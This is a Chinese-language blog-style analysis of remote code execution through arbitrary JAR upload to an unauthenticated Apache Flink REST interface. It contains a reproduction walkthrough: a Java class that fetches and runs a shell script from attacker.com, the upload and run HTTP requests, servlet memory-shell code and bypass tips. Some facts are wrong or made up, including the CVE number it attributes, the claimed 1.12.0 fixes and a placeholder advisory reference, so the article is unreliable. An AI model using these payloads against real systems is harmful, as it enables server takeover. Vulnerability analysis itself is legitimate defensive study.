apache flink任意jar包上传导致远程代码执行的示例分析

# Apache Flink任意JAR包上传导致远程代码执行的示例分析 ## 一、漏洞背景与影响范围 Apache Flink作为一款开源的流处理框架，在大数据处理领域有着广泛应用。2020年前后，安全研究人员发现多个版本（包括1.9.x至1.11.x）的Flink存在通过Web控制台上传恶意JAR包导致远程代码执行（RCE）的安全漏洞。该漏洞编号为CVE-2020-17519，CVSS评分高达9.8，属于严重级别漏洞。 **漏洞本质**：未授权攻击者可通过Flink的Web接口上传包含恶意代码的JAR包，并诱导服务端执行，最终获取服务器控制权限。这种攻击方式完全避开认证机制，在默认配置下即可利用。 ## 二、漏洞原理深入分析 ### 2.1 Flink的JAR包处理机制 Flink允许用户通过REST API或Web UI提交JAR包进行作业部署。核心处理流程包括： 1. **JAR上传接口**：`/jars/upload`（POST请求） 2. **JAR执行接口**：`/jars/:jarid/run`（带参数触发main方法） ```java // 伪代码展示Flink的JAR处理逻辑 public class JarUploadHandler { public Response handleUpload(Request request) { String uploadPath = System.getProperty("java.io.tmpdir"); JarFile jarFile = saveUploadedFile(request, uploadPath); // 未做安全检查 return Response.ok(jarFile.getId()); } } 

2.2 漏洞产生根源

1. 认证缺失：Web管理界面默认不启用认证
2. 路径遍历：上传文件名未做规范化处理
3. 动态加载：直接加载用户提供的类文件
4. 反射调用：通过反射执行指定类的main方法

// 存在问题的JAR执行代码片段 ClassLoader cl = new URLClassLoader(jarUrls, parentClassLoader); Class<?> entryClass = Class.forName(className, true, cl); Method mainMethod = entryClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) args); // 危险操作！ 

三、漏洞复现与攻击演示

3.1 环境搭建

使用Vulhub靶场快速搭建漏洞环境：

docker-compose up -d flink:1.11.2 

3.2 恶意JAR包制作

创建包含恶意代码的JAR包示例：

// EvilClass.java public class EvilClass { public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash"); } } 

编译打包：

javac EvilClass.java jar cvf evil.jar EvilClass.class 

3.3 攻击步骤分解

1. 上传JAR包： “`http POST /jars/upload HTTP/1.1 Host: target:8081 Content-Type: multipart/form-data

[恶意JAR文件内容]

 2. **触发执行**： ```http POST /jars/evil.jar/run HTTP/1.1 Host: target:8081 Content-Type: application/json {"entryClass":"EvilClass"} 

1. 结果验证：
   • 攻击者服务器收到反弹shell
   • 目标主机执行了任意命令

四、漏洞利用的进阶技巧

4.1 内存马注入

通过JAR包加载Webshell内存马：

public class MemShell extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) { try { String cmd = req.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); // ...输出结果处理... } catch (Exception e) { /* 错误处理 */ } } } 

4.2 绕过限制方法

1. 文件名混淆：使用../路径穿越
2. 类加载隔离突破：利用SPI机制
3. 反序列化组合：结合Jackson/Gadget链

五、防御措施与修复方案

5.1 官方修复方案

Flink官方在1.12.0版本中进行了多重修复： 1. 默认启用Kerberos认证 2. 增加JAR文件内容校验 3. 限制可执行类路径

// 修复后的安全校验 if (!className.startsWith("org.apache.flink")) { throw new SecurityException("Forbidden class loading"); } 

5.2 临时缓解措施

对于无法立即升级的用户： 1. 启用网络隔离 2. 配置反向代理认证 3. 禁用REST API接口

# Nginx认证配置示例 location /jars { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } 

六、漏洞的深度思考

6.1 架构安全启示

1. 最小权限原则：作业执行应使用低权限账户
2. 沙箱隔离：需要类加载隔离机制
3. 输入验证：严格校验上传文件内容

6.2 同类漏洞对比

与其他大数据组件漏洞的异同：

系统	漏洞类型	利用方式	CVSS评分
Apache Flink	JAR上传RCE	Web接口直接利用	9.8
Apache Spark	反序列化RCE	需要认证	8.8
Hadoop YARN	命令注入	需配置参数	7.2

七、总结与建议

通过对该漏洞的深入分析，我们可以得出以下结论：

1. 开发阶段：必须实现”默认安全”的设计原则
2. 运维阶段：及时关注安全通告并更新补丁
3. 安全测试：对文件上传功能进行重点测试

推荐加固方案： - 启用Flink的SSL/TLS加密 - 部署网络ACL限制访问源 - 定期进行安全审计

参考资料

1. Apache Flink官方安全公告 [FLINK-XXXXX]
2. CVE-2020-17519漏洞详情页面
3. OWASP文件上传防护指南
4. 《Java安全编码规范》相关条款

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注：本文为技术分析文章，所有实验操作请在合法授权环境下进行。实际漏洞利用可能涉及法律风险，请务必遵守当地法律法规。